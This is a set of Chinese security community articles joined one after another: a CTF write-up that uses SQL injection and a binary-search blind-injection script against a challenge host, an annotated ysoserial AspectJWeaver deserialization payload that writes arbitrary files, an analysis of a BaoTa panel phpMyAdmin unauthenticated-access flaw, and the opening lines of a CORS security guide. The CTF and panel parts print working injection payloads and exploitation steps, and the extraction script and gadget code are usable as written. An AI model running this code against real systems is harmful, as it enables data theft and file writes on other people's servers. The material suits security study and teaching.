`先知技术社区独家发表本文，如需要转载，请先联系先知技术社区授权；未经授权请勿转载。`
### 投稿
* 直接右上角`【个人中心】`-`【创建新帖子】`-`【节点模块】`选择`【技术文章】`。投稿时麻烦提供下可联系到作者的IM，方便审核沟通。（如未收到回复，联系wx：50421961）
* Ps: `MD编辑器支持图片拖拽上传、Word文档图片直接复制上传、截图复制自动上传 (๑•̀ㅂ•́)و✧`
* * *
# 前言
做了一道Pwnhub会员日的题，整道题思路非常好玩，也引发了自己对于布尔盲注、伪随机数以及安全研究的一点点思考。文末有题目源码，复现起来很方便。
代码也发给了先知的工作人员，之后可能会有官方的复现环境供大家练习。
# 分析题目流程
一开始，是一个很常规的登录页面，简单测一下，没有SQLi，然后上扫描器，扫出来register.php、index.php（废话）、profile.php、config.php、flag.php。
profile.php需要先登录，于是去register.php（测过，没注入）注册一个账号，然后在index登录。
欢迎页面：
然后有一个莫名其妙的id参数，随便换一个数字，发现是其它账号的登录信息。
猜测背后的sql语句是：
`select * from user where id='id'`
ctf的老套路了，想办法弄出来admin，一般来说admin的账号id都是0或者1，但今天遇到个二般情况，admin的id是2……
然后，好玩的来了。
访问得到全部的源码（I like this~）。
审一遍就可以了解整个题目的逻辑。
首先，注册账号，来到这个神奇的profile页面，然后通过进入admin的欢迎页面，Get源码。其实，在这里不一定要挨个去试admin的id，因为id这个参数是个注入点，并且很容易就能发现，（但我是看了源码才知道……），我们可以通过注入，让它回显位显示admin。
payload：<http://54.223.59.178/profile.php?id=1998%20union%20select%201,%27admin%27,3,4,5--+>
拿到源码后，寻找flag输出点，在flag页面
需要的条件有两个，
1、POST传递duihuanma参数为正确的兑换码（与数据库里的一致）。
2、POST传递captcha参数经过md5加密之后取前四位，与之前生成的session['captcha']相等。
也就是
`(substr(md5($_POST['captcha']), 0, 4)===$_SESSION['captcha'])`
而sessionp[‘captcha’]会在上次页面刷新的时候输出出来
# 破题
就是以上两关，下面我们来一一破之
## 第一关难点
兑换码在数据库中的某一列中，但是我们并不知道列名，并且唯一的注入点，过滤了 【 . 】、【 _ 】、【 ( 】、【 ) 】
列名无法获取，数据无法直接通过回显爆出来。
但这时有一个技巧，就是通过order by在不知道列名的情况下通过布尔盲注的形式，注出来数据。
而问题有来了，布尔盲注需要不断访问页面，通过回显判断正确与否，但是profile.php页面会记录你的访问次数，一旦超过140次就会重置数据库里的兑换码。所以我们需要在140次之内爆出来36位数据。
## 通过布尔盲注爆出数据库里的兑换码
如何在不知道列名的情况下爆出来其中的数据呢？从朋友Sn00py那儿学了一招：
就是通过字符的ASCII码比较来获取。
通过手动测试能测出来，回显位是第二位，在数据库中兑换码为第四列
所以payload长这样：
`http://54.223.59.178/profile.php?id=157%20union%20select%201,%27no%27,3,%275%27,5%20order%20by%204%20limit%200,1--+`
我们可以在第四个显示位中放上猜测的可能的数据
举个例子，兑换码第一位字符为5，以下两种payload会得到不一样的回显
当输入字符的ASCII码大于正确字符时，会正确回显我们的ID
那怎么在140次之内爆出36位字符呢？
遍历求解肯定不行，次数太多，需要用到二分法。只使用二分法也不行，因为我本地测试的时候用了193次。
我们再来看一下生成36位字符串的代码
function duihuanma_product()
{
$string = "1234567890abcdefghijklmnopqrstuvwxyz";
return str_shuffle($string);
}
注意，str_shuffle函数是将字符串用伪随机的方式打乱，所以一个字符被使用过一次之后就不会再被使用。
所以我们的脚本中可以在获取一位的信息之后，可以将这个字符去掉。
脚本如下：
import requests as rq
import sys
url = "http://54.223.59.178/profile.php"
cookies = {
"PHPSESSID": "4r3qrk4onncshiu23rrqtgcri3",
}
payload = {'id': '157'}
string = '0123456789abcdefghijklmnopqrstuvwxyz'
str = ''
url = rq.get(url, cookies=cookies, params=payload)
i = 1
keyword = []
print(url.url)
while i <= 36:
left = 0
right = len(string)-1
print('wenti:')
print(right)
if right - left == 1:
poc = url.url+' union select 1,\'no\',3,\''+str+string[right]+'\',5 order by 4 limit 0,1--+'
target = rq.get(poc, cookies=cookies)
if 'ph0rse' in target.text:
str = str + string[left]
str = str + string[right]
print(str)
exit()
else:
str = str + string[right]
str = str + string[left]
print(str)
exit()
while 1:
mid = int((left + right)/2)
poc = url.url+' union select 1,\'no\',3,\''+str+string[mid]+'\',5 order by 4 limit 0,1--+'
print(poc)
target = rq.get(poc, cookies=cookies)
print(target.text)
if 'ph0rse' in target.text:
right = mid-1
else:
left = mid
if left == right:
str = str + string[left]
string = string.replace(string[left],'')
break
if right - left == 1:
poc = url.url+' union select 1,\'no\',3,\''+str+string[right]+'\',5 order by 4 limit 0,1--+'
target = rq.get(poc, cookies=cookies)
if 'ph0rse' in target.text:
str = str + string[left]
string = string.replace(string[left],'')
break
else:
str = str + string[right]
string = string.replace(string[right],'')
break
i = i+1
print(str)
测试的时候记得把coockie（登录后的PHPSSION）、url和检测的ID数字和名字（代码中的157和Ph0rse）替换为自己的。
成功拿到兑换码，刚好用了140次，没有重置。
## 第二关难点
这一块儿需要你本次传入的captcha经过MD5加密后的前四位和上一次生成的captcha是一样，注意是上一次，而上一次生成的captcha会直接输出出来
## 遍历爆破出captcha
可以通过简单的脚本进行爆破
脚本代码：
<?php
$a=1;
while (1) {
if(substr(md5($a), 0, 4)=='5897')
{
echo $a;
break;
}
$a++;
}
echo "<br>".md5($a);
爆破出：
## Get Flag
# 原理深入
深入一下这道题中涉及的一些好玩的东西
## 爆未知列名的数据
在这道题里因为过滤了一些符号，所以我们无法获取列名的，但我们可以通过order by使回显不同，从而通过这种类似布尔盲注的方式爆出来数据。
我们假设web应用的语句是
select * from admin_user where id = '注入点';
正常的情况是：
如果前面的语句正常，那么查询出来的就是两行数据，假设web应用默认会显示第二列的数据，比如显示Hello admin（第二列的数据）。
我们想爆第三列的数据，但是不知道第三列的列名，就可以使用union查询；
注意，union前面的id 数字是正常的，所以会查询出两条数据；但是显示位只有一个，一般来说它会直接显示union前面的数据，但如果使用了order by
+ limit 0,1就不一样了。
注意，union后面的语句的第二列写了自定义的‘ph0rse’，就是说，如果order by
3按照第三列升序排序之后，排在前面的数据是union之后的语句，web端会回显Hello ph0rse，但如果order by
3按照第三列升序排序之后，排在前面的数据是union之前的语句，就会正常显示Hello admin；
而我们可以通过修改union后语句第三列的数据控制排序结果；
这一点在CTF中非常有用，原理比较简单，以后在没能爆出列名的情况下都可以用这一点。
## 如何更高效地通过盲注爆数据
### 二分法
就是脚本中使用的方法，会有一定的随机性，次数徘徊在138次上下，为什么是138次呢？我们在做题的时候如何知道二分法是否可以算出来呢？其实可以用高数算出来：
数据结构也讲过，从N个数据中查找数据的时间复杂度（也就是次数）为
这个公式通过高中的数学知识就能算出来，简单的对数运算
`N*（1/2）^x = 1`
求得x即为图片中的公式
而本次题目中，先是从36个字符中找出一个字符，然后在字符串中丢弃这个字符，再从剩下的35个字符中找到下一个字符，依次类推。
所以时间复杂度为：
用python的math模块可以写脚本跑出来，最后结果为138多一点，由于随机性，会上下波动。二分法爆数据的优势在于可以较为稳定地把时间复杂度降到一定范围之内。对于无规律的随机序列或hash值来说，二分法是一种具有保障性的降低时间复杂度的算法。
### 字频法
在实战盲注中，我们不止要爆破hash，有时也需要爆破用户名、密码等带有人为主观属性的数据，弱口令爆破也是SRC挖掘中很最高发，危险系数最大的漏洞之一，在这种情况下，可以考虑使用字频分析法。
字频分析法，即根据字母在单词中出现的频率高低，进行优先顺序排列。这种方法的进阶使用，就是通过分析历次泄露门泄露的账号密码，分析出某个用户群体的字母使用频率、偏好关键字，以及某些字符之间连起来的频率，比如在英文中的ing和ed组合。根据分析的频率生成特定字典，再去进行爆破。
对于这种字典生成的算法，Github上有现成的[项目](https://github.com/bit4woo/passmaker)，可以很方便地利用，能较大效率地提高渗透效率。如果你颜值够高的话（逃……），或许会收获意想不到的结果。
## 伪随机数的安全问题
在这道题中无论是str_shuffle函数打乱字符串，还是伪随机rand函数生成四位captcha字符，在算法上都是不可信的、不安全的。
在PHP中，函数rand()创建“随机数”，而这种“随机数”是根据某个种子有规律地生成的，是一种伪随机数。
在windows中，rand函数生成的种子是在一定范围之内的，共有4294967295种可能性，如果我们能根据生成的序列，遍历所有的可能性，就可以得到种子，从而完整预测后面的伪随机数：
在github上已经有用C写的完整的[爆破脚本](https://github.com/Sjord/crack-ezchatter-token/blob/master/wincrackstate.c)了，爆破时间大概为10分钟。
而在linux下，PHP rand函数在底层使用的是glibc
rand()，它会保留前面生成随机数的数据，作为后面随机数生成的依据，以此保证伪随机数的均匀性，但这样会导致严重的安全问题，也就是如果我们知道前面生成的随机序列，那么完全可以预测后面的随机数。
公式为：
`num[n] = (num[n-3] + num[n-31]) mod (MAX)`
其中MAX为rand(0,MAX)设置的上边界
我们写一个简单的PHP脚本验证一下：
代码为：
<?php
$num = array();
//生成50个伪随机数
for ($i=0; $i < 50; $i++) {
$num[$i] = rand(0,10);
}
//输出50个伪随机数
for ($i=0; $i < 50; $i++) {
if ($i%5 === 0) {
echo "<br>";
}
echo "第".($i+1)."个随机数：".$num[$i]."<------------>";
}
echo "<br>";
for ($i=31; $i < 50; $i++){
echo "第".($i+1)."个随机数：".$num[$i]."<------------>"."向前数第三个数：".$num[$i-31]."；向前数第31个数：".$num[$i-3]."模rand函数的上边界10<br>";
}
?>
运行结果：
可以看到，成功地预测了后面的数字，而str_shuffle函数在PHP7.1.0之前的底层实现是rand函数，在手册中写到：
在算法上是可以攻破的，只是因为字母不重复的特性，攻破的方式可能要比rand函数困难很多。
在PHP7.1.0之后使用了mt_rand()用来替代rand()函数，使用了梅森旋转演算法，但官方使用该替换的主要原因是提高程序运行效率，而不是提高安全等级，mt_rand函数也是可以被攻破的。
已经有[大牛](https://www.lynahex.com/index.php/archives/Cracking-Random-Number-Generator2.html)完整地分析过这个算法，并给出了破解方法。而且国外也出现了专门用来破解mt_rand的工具：[php_mt_seed](http://www.openwall.com)
因随机数产生问题的Web应用有很多，最近一次的就是PHPCMS V
9.6.2的[authkey泄露漏洞](http://blog.nsfocus.net/authkey-leak-vulnerability-analysis/)。
而在这道题里，使用的算法是不安全的，但因为str_shuffle函数的爆破方式还没有被公开（肯定是有的），以及这是一个搭建在Linux下公开CTF环境，一个人访问页面会影响其他人获取数据的连续性，也就会导致爆破失败。所以在这道题中没有使用伪随机数爆破。
伪随机数的安全性在国内最近才开始重视，国内也充斥着大量的web程序，将rand函数和mt_rand函数当做捍卫程序安全的保障，这是愚蠢也是危险的。
# 环境复现
官方环境地址：<http://54.223.59.178/profile.php>
源代码：[百度网盘](http://pan.baidu.com/s/1gftjl9T)
本地环境复现时注意在Mysql中将id设为主键，否则所有用户的id都一样，会导致爆破出的兑换码混乱。
# 总结
安全领域的深入需要不断地去追求底层原理，只有深入底层，才能出其不意，达人之所不能。
而想要把安全这项绝活做细做精，就不能放任学生时代的粗放式，不能动不动就AWVS扫一波，运用算法，将自己的攻击变得更隐蔽、更高效，这是我从这道题中获得的些许启示。
洞悉底层，方能守正出奇！
以上 | 社区文章 |
### 前言
AntCTFxD^3CTF 中学到了很多，参照大佬的文章也跟着分析一下ysoserial中的AspectJWeaver 。
### 基础部分
ysoserial中的AspectJWeaver : 此gadget用于写文件
**Java的File类相关知识**
`File.separator`表示目录分隔符`/`或者`\`,根据系统判断
**HashSet**
HashSet 实现原理简述 :
HashMap是HashSet的核心，而Map添加元素需要调用put(key,value)则必须有键和值。但HashSet相当于只有键，故实现HashSet时官方使用了固定值来做value，即
**PRESENT** 。而PRESENT则是用来造一个假的value来用的。
**HashSet中PRESENT和HashMap**
分析 : 由下图可见HashMap成员变量使用了private修饰 ，PRESENT的注释翻译为"与后备映射中的对象相关联的虚拟值" ,
> 其实这里有一个疑点，为什么HashMap被transient修饰，仍会序列化呢 ? 这个问题放在最下方
**add方法源代码**
分析 : HashSet添加元素调用了HashMap的put方法，PRESENT为固定值
### 分析ysoserial中的payload
加了一些注释，助于理解
package ysoserial.payloads;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
/*
Gadget chain:
HashSet.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
SimpleCache$StorableCachingMap.put()
SimpleCache$StorableCachingMap.writeToPath()
FileOutputStream.write()
Usage:
args = "<filename>;<base64 content>"
Example:
java -jar ysoserial.jar AspectJWeaver "ahi.txt;YWhpaGloaQ=="
More information:
https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5
*/
@PayloadTest(skip="non RCE")
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"})
@Authors({ Authors.JANG })
public class AspectJWeaver implements ObjectPayload<Serializable> {
@Override
public Serializable getObject(final String command) throws Exception {
int sep = command.lastIndexOf(';');
if ( sep < 0 ) {
throw new IllegalArgumentException("Command format is: <filename>:<base64 Object>");
}
//将文件名和内容分割
String[] parts = command.split(";");
//文件名在0元素
String filename = parts[0];
//base64编码保证文件数据不损失
byte[] content = Base64.decodeBase64(parts[1]);
//获取SimpleCache的内部类StoreableCachingMap的构造器
Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
/**
* 生成StoreableCachingMap实例，newInstance(".", 12);
* 第一个参数固定为 . 目的是保证文件写到当前目录
*/
Object simpleCache = ctor.newInstance(".", 12);
Transformer ct = new ConstantTransformer(content);
Map lazyMap = LazyMap.decorate((Map)simpleCache, ct);
//将文件内容映射到MapEntry里，用于调用getValue,getKey取值
TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
//参数设置为1,此参数会影响后面的构造
HashSet map = new HashSet(1);
//添加一元素，在HashMap角度是添加一个键值对，也是创建第一个键值对，保证反射改值不会空指针
map.add("foo");
//private修饰，故通过反射获取HashSet的核心成员——hashMap
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
//赋予权限
Reflections.setAccessible(f);
//获取实例对象"map"的HashMap
HashMap innimpl = (HashMap) f.get(map);
//同理，此处获取HashMap的成员变量table
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
//授予权限
Reflections.setAccessible(f2);
//强转获得相应的java.util.HashMap$Node
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
if(node == null){
node = array[1];
}
//System.out.println(node.getClass());
//反射获取key属性
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
//授予权限
Reflections.setAccessible(keyField);
//最后一步，完成强行更改键值对的操作，成功生成恶意实例
keyField.set(node, entry);
//返回HashSet实例
return map;
}
public static void main(String[] args) throws Exception {
//新建h3zh1.txt内容为hello hack
args = new String[]{"h3zh1.txt;aGVsbG8gaGFjawo="};
PayloadRunner.run(AspectJWeaver.class, args);
}
}
会发现这里用了大量的反射操作，原因如下 :
* StoreableCachingMap不能直接操作StoreableCachingMap
* HashSet没有暴露的方法可以直接对HashMap进行操作
### 链子分析
在SimpleCache内部类StoreableCachingMap.put方法处打断点
完整调用顺序如下截图:
**HashSet关键部分调用链**
> HashSet.readObject()
> HashMap.put()
> HashMap.hash()
> TiedMapEntry.hashCode()
> TiedMapEntry.getValue()
> LazyMap.get()
> SimpleCache$StorableCachingMap.put()
> SimpleCache$StorableCachingMap.writeToPath()
> FileOutputStream.write()
### 其他的一些相关分析
payload中`Object simpleCache = ctor.newInstance(".", 12);`一句的参数为什么这样设置 ?
在SimpleCache$StorableCachingMap.writeToPath()调用中，完成了文件的读写操作，源码如下：
private String writeToPath(String key, byte[] bytes) throws IOException {
String fullPath = this.folder + File.separator + key;
FileOutputStream fos = new FileOutputStream(fullPath);
fos.write(bytes);
fos.flush();
fos.close();
return fullPath;
}
此处为fullPath的赋值操作
String fullPath = this.folder + File.separator + key;
* this.folder的值是什么?
此值和yso的payload中如下代码相关 :
Object simpleCache = ctor.newInstance(".", 12);
`.`表示当前目录，在调用newInstance后会触发构造函数，如下图 ，即this.folder会被设置为`.`
* `File.separator`基础部分已经叙述过了，为目录分隔符
* `key`是要生成的文件名
综上三点所述: fullPath的值会被设置为"./h3zh1.txt"，所以文件会被生成到项目目录
### 最下方
来解答问题,问题描述
> **为什么HashSet源码实现中HashMap成员被transient修饰，仍会触发序列化和反序列化 ?**
刚开始我没有意识到HashMap序列化使用了transient来修饰。因为一般情况下被transient修饰的成员是不可以序列化的。但是如果重写readObject方法和writeOject方法，也可以完成序列化。
**给出一个transient修饰可以反序列化的示例:**
假如有个Exp类"行不更名坐不改姓"，但是重写了readObject方法和writeOject方法
import java.io.*;
public class Exp implements Serializable{
//正常不可序列化，反序列化
private transient String name;
private int age ;
public Exp(int age , String name){
this.age = age;
this.name = name;
}
//重写——强行序列化
private void writeObject(java.io.ObjectOutputStream s)
throws java.io.IOException{
s.defaultWriteObject();
//强制序列化name
s.writeObject(this.name);
}
//重写——强行反序列化
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
//强制反序列化name
this.name = (String) s.readObject();
}
@Override
public String toString() {
return "Exp{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
//序列化函数
public static void serialize(Object obj) throws IOException {
FileOutputStream fileInputStream = new FileOutputStream("hello.class");
ObjectOutputStream oos = new ObjectOutputStream(fileInputStream);
oos.writeObject(obj);
oos.close();
}
//反序列化
public static Object unserialize() throws Exception{
FileInputStream fileInputStream = new FileInputStream("hello.class");
ObjectInputStream ois = new ObjectInputStream(fileInputStream);
return ois.readObject();
}
public static void main(String[] args) throws Exception {
Exp exp = new Exp(18,"katherine");
System.out.println("初始:"+exp);
serialize(exp);
Exp newExp = (Exp)unserialize();
System.out.println("序列化后:"+newExp);
}
}
**那么推到HashSet类**
找找HashSet重写的部分吧
来HashSet的readObject函数 , 重写部分甚至给了注释"Read in all elements……" :
同样的 , 再去找一下HashSet的重写writeObject的部分 :
原来，你们早就在这里了……
文章参考 :
* **ysoserial AspectJWeaver file write gadget** : <https://xz.aliyun.com/t/9168>
* **WebLogic 12.2.1.3.0 Shelldrop小工具** : <https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5>
* **Servlet时间竞争以及AsjpectJWeaver反序列化Gadget构造** : <https://mp.weixin.qq.com/s/GxFFBekqSl5BOnzAKFGBDQ> | 社区文章 |
# 宝塔面板phpMyAdmin未授权访问漏洞是个低级错误吗？
##### 译文声明
本文是翻译文章，文章原作者 phith0n，文章来源：代码审计
原文地址：<https://mp.weixin.qq.com/s/3ZjwFo5gWlJACSkeYWQLXA>
译文仅供参考，具体内容表达以及含义原文为准。
来自：phith0n [代码审计](https://mp.weixin.qq.com/s/3ZjwFo5gWlJACSkeYWQLXA)
周日晚，某群里突然发布了一则消息，宝塔面板的phpmyadmin存在未授权访问漏洞的紧急漏洞预警，并给出了一大批存在漏洞的URL：
随便点开其中一个，赫然就是一个大大的phpmyadmin后台管理页面，无需任何认证与登录。当然，随后各种神图神事也都刷爆了社交网络，作为一个冷静安全研究者，我对此当然是一笑置之，但是这个漏洞的原因我还是颇感兴趣的，所以本文我们就来考证一下整件事情的缘由。
## 我们的问题究竟是什么？
首先，我先给出一个结论：这件事情绝对不是简简单单地有一个pma目录忘记删除了，或者宝塔面板疏忽大意进行了错误地配置，更不是像某些人阴谋论中说到的官方刻意留的后门。
我为什么这么说？首先，根据官方的说法，这个漏洞只影响如下版本：
* Linux正式版7.4.2
* Linux测试版7.5.13
* Windows正式版6.8
这个版本就是最新版（漏洞修复版）的前一个版本。也就是说，这个确定的小版本之前的版本面板是不受影响的。我们试想一下，如果是“后门”或者官方忘记删除的目录，为什么只影响这一个版本呢？况且宝塔面板发展了这么久，积累了400万用户，体系安全性也相对比较成熟，如果存在这么低劣的错误或“后门”，也应该早就被发现了。
经过实际查看互联网上的案例和询问使用了宝塔面板的朋友，我发现在7.4.2以前的版本中没有pma这个目录，并且phpmyadmin默认情况下认证方法是需要输入账号密码的。所以，宝塔出现这个漏洞，一定是做过了下面这两件事：
* 新增了一个pma目录，内容phpmyadmin
* phpmyadmin的配置文件被修改了认证方式
那么，我们的问题就变成了，官方为什么要做这两处修改，目的究竟是什么？
为了研究这个问题，我们需要先安装一个宝塔7.4.2版本。但是，宝塔的安装是一个傻瓜化的一键化脚本：
yum install -y wget && wget -O install.sh http://download.bt.cn/install/install_6.0.sh && sh install.sh
并没有给到用户一个可以选择版本号的选项，官方的Git也许久没更新了，我们如何才能安装到一个合适的版本（7.4.2）呢？
## 安装一个合适的版本
这当然难不倒我。首先，我安装了最新版的宝塔面板，用的就是上述一键化脚本。
安装的过程自然没什么问题，安装完成后，系统显示的版本号是最新版7.4.3，因为在爆出这个漏洞以后，官方迅速进行了修复升级。不过没关系，我们仍然可以找到离线升级包：
* <http://download.bt.cn/install/update/LinuxPanel-7.4.0.zip>
* <http://download.bt.cn/install/update/LinuxPanel-7.4.2.zip>
* <http://download.bt.cn/install/update/LinuxPanel-7.4.3.zip>
分别是7.4.0/7.4.2/7.4.3的版本，我们分别下载并解压，并尝试将自己的服务器版本恢复成漏洞版本7.4.2。
在恢复代码之前，我们先将服务器断网，或者将宝塔设置成离线模式：
这么做的目的是防止宝塔进行自动版本更新，避免好不容易恢复的代码又自动升级了。
宝塔系统代码默认安装完是在/www/server/panel，接着我们直接将将压缩包内的panel目录上传到这里来，覆盖掉已有的文件。重启下宝塔，即可发现系统版本号已经恢复成7.4.2了：
还没完，我们使用beyond compare打开7.4.2和7.4.3的压缩包代码，先看看官方是怎么修复的漏洞：
比较粗暴，直接判断目录/www/server/phpmyadmin/pma是否存在，如果存在就直接删掉。所以，我们虽然恢复了系统版本代码，但删掉的pma已经不在了，我们还需要恢复一下这个目录。
方法也很简单，/www/server/phpmyadmin下本身存在一个phpmyadmin目录，我们直接复制一下这个目录即可：
## 漏洞究竟是怎么回事
有了环境，我们仍需看看代码。
首先，由于7.4.2是引入漏洞的版本，我们看看官方对7.4.2的更新日志：
用beyond compare打开7.4.0和7.4.2的压缩包代码，看看具体增加了哪些代码：
可见，在7.4.2版本中增加了两个视图，分别对应着phpmyadmin和adminer。视图中用到了panelPHP#start方法，这个方法其实也是新加的：
def start(self,puri,document_root,last_path = ''):
'''
@name 开始处理PHP请求
@author hwliang<2020-07-11>
@param puri string(URI地址)
@return socket or Response
'''
...
#如果是PHP文件
if puri[-4:] == '.php':
if request.path.find('/phpmyadmin/') != -1:
...
if request.method == 'POST':
#登录phpmyadmin
if puri in ['index.php','/index.php']:
content = public.url_encode(request.form.to_dict())
if not isinstance(content,bytes):
content = content.encode()
self.re_io = StringIO(content)
username = request.form.get('pma_username')
if username:
password = request.form.get('pma_password')
if not self.write_pma_passwd(username,password):
return Resp('未安装phpmyadmin')
if puri in ['logout.php','/logout.php']:
self.write_pma_passwd(None,None)
else:
...
#如果是静态文件
return send_file(filename)
代码太长，我们不展开分析，只我写出来的部分。在请求的路径是/phpmyadmin/index.php且存在pma_username、pma_password时，则执行self.write_pma_passwd(username,password)。
跟进self.write_pma_passwd：
def write_pma_passwd(self,username,password):
'''
@name 写入mysql帐号密码到配置文件
@author hwliang<2020-07-13>
@param username string(用户名)
@param password string(密码)
@return bool
'''
self.check_phpmyadmin_phpversion()
pconfig = 'cookie'
if username:
pconfig = 'config'
pma_path = '/www/server/phpmyadmin/'
pma_config_file = os.path.join(pma_path,'pma/config.inc.php')
conf = public.readFile(pma_config_file)
if not conf: return False
rep = r"/\* Authentication type \*/(.|\n)+/\* Server parameters \*/"
rstr = '''/* Authentication type */
$cfg['Servers'][$i]['auth_type'] = '{}';
$cfg['Servers'][$i]['host'] = 'localhost';
$cfg['Servers'][$i]['port'] = '{}';
$cfg['Servers'][$i]['user'] = '{}';
$cfg['Servers'][$i]['password'] = '{}';
/* Server parameters */'''.format(pconfig,self.get_mysql_port(),username,password)
conf = re.sub(rep,rstr,conf)
public.writeFile(pma_config_file,conf)
return True
这个代码也很好理解了，如果传入了username和password的情况下，宝塔会改写phpmyadmin的配置文件config.inc.php，将认证方式改成config，并写死账号密码。
这就是为什么7.4.2版本中pma可以直接访问的原因。
> 补个课：
>
>
> phpmyadmin支持数种认证方法，默认情况下是Cookie认证，此时需要输入账号密码；用户也可以将认证方式修改成Config认证，此时phpmyadmin会使用配置文件中的账号密码来连接mysql数据库，即不用再输入账号密码。
## 官方做这些动作的原因
其实各位看官看到这里肯定脑子里还是一团浆糊，这些代码究竟意味着什么呢？为什么官方要将认证模式改成config模式？
是很多漏洞分析文章的通病，这些文章在出现漏洞后跟一遍漏洞代码，找到漏洞发生点和利用方法就结束了，并没有深入研究开发为什么会这么写，那么下次你还是挖不出漏洞。
所以，这里思考一下，我们现在起码还有下列疑问：
* 在7.4.2版本以前，用户是如何使用phpmyadmin的？
* 宝塔为什么要在7.4.2版本增加phpmyadmin有关的视图？
* 宝塔为什么要将phpmyadmin认证模式改成config？
* 我们如何复现这个漏洞？
第一个问题，我们其实可以简单找到答案。在正常安装宝塔最新版7.4.3时，我们点击宝塔后台的phpmyadmin链接，会访问到这样一个路径：
7.4.3版本为了修复这个漏洞，回滚了部分代码，所以这种方式其实就是7.4.2以前版本的phpmyadmin的访问方式：通过888端口下的一个以phpmyadmin_开头的文件夹直接访问phpmyadmin。
这种老的访问方法中，888端口是一个单独的Nginx或Apache服务器，整个东西是安全的，访问也需要输入账号密码。
但是这种访问方法有些麻烦，需要额外开放888端口，而且每次登陆都要重新输入密码。所以，官方开发人员提出了一种新的做法，在宝塔后端的python层面转发用户对phpmyadmin的请求给php-fpm。这样有三个好处：
* 直接在python层面做用户认证，和宝塔的用户认证进行统一，不需要多次输入mysql密码
* 也不需要再对外开放888端口了
* 使用phpmyadmin也不再依赖于Nginx/Apache等服务器中间件了
这就是为什么宝塔要在7.4.2增加phpmyadmin有关的视图的原因，这个视图就是一个phpmyadmin的代理，做的事情就是转发用户的请求给php-fpm。
用户在第一次使用这种方式登录时，系统会自动发送包含了Mysql账号密码的数据包，宝塔后端会捕捉到此时的账号密码，填入phpmyadmin的配置文件，并将认证方式改成config。对于用户来说，感受到的体验就是，不再需要输入任何Mysql密码即可使用phpmyadmin了。
这的确给用户的使用带来了更好的体验。
## 漏洞复现
此时我们应该还有个疑问：既然官方目的是“直接在python层面做用户认证，和宝塔的用户认证进行统一”，那么仍然是有认证的呀？为什么会出现未授权访问漏洞呢？
我们可以来复现一下这个漏洞。首先，我们以系统管理员的身份登录宝塔后台，来到数据库页面，点击“phpMyAdmin”按钮，会弹出如下模态框：
这个里面有两种访问模式，“通过Nginx/Apache/OIs访问”是老版本的访问方式，“通过面板安全访问”就是7.4.2新增加的代理模式。
我们点击“通过面板安全访问”，并抓包，会抓到这样一个数据包：
宝塔前端将我们的Mysql账号密码填好了直接发给phpmyadmin。又因为我们前面分析过的那段代码，后台将账号密码直接写入了phpmyadmin配置文件，来做到免认证的逻辑。
如果一个未认证的用户，直接访问<http://ip:8888/phpmyadmin/index.php>呢？会被直接重定向到登录页面：
如果仅仅是这样，这个过程是不存在漏洞的。但是，官方开发人员犯了一个错误，他将pma应用放在了/www/server/phpmyadmin目录下，而这个目录原本是老的phpmyadmin访问方式所使用的Web根目录。
这意味着，我通过老的888端口+pma目录，可以访问到新的phpmyadmin，而新的phpmyadmin又被官方修改了配置文件，最终导致了未授权访问漏洞：
所以，如何解决这个问题呢？也很简单，只需要将pma移到其他目录去即可。
## 总结
我们来做个总结。
首先，宝塔面板绝对不是弱智，这个漏洞不是简简单单的放了一个未授权的pma在外面忘记删。这其实会打很多人脸，因为大部分人认为这只是个简单的phpmyadmin未授权访问漏洞，并对宝塔进行了一顿diss，没有想到这后面其实是一个复杂的逻辑错误。
其次，用户体验和安全绝对是不冲突的，我十分不喜欢为了保障安全而阉割用户体验的做法。所以希望宝塔官方不会因为这次的漏洞事件而彻底将代码回滚（据说7.4.3的更新只是临时解决方案），该改进的地方还是要改进。
我有数年不再使用Linux面板了，这次也算重新体验了一下2020年的Linux面板，个人感觉宝塔看外在其实是一个比较注重安全的系统，比如自动生成的用户密码、用户名和密码的策略、默认的Php安全配置、自动的版本更新等等，相比于很多国内其他的商业系统，绝对属于有过之而无不及了。但是看代码其实需要改进的地方还有很多，这个以后有机会再细说吧。 | 社区文章 |
这篇文章翻译自：<https://www.bedefended.com/papers/cors-security-guide>
作者:Davide Danelon
译者：聂心明
译者博客：<https://blog.csdn.net/niexinming>
版本:1.0 - 2018年-七月
# 1\. _介绍
这个指南收集关于cors所有的安全知识，从基本的到高级的，从攻击到防御
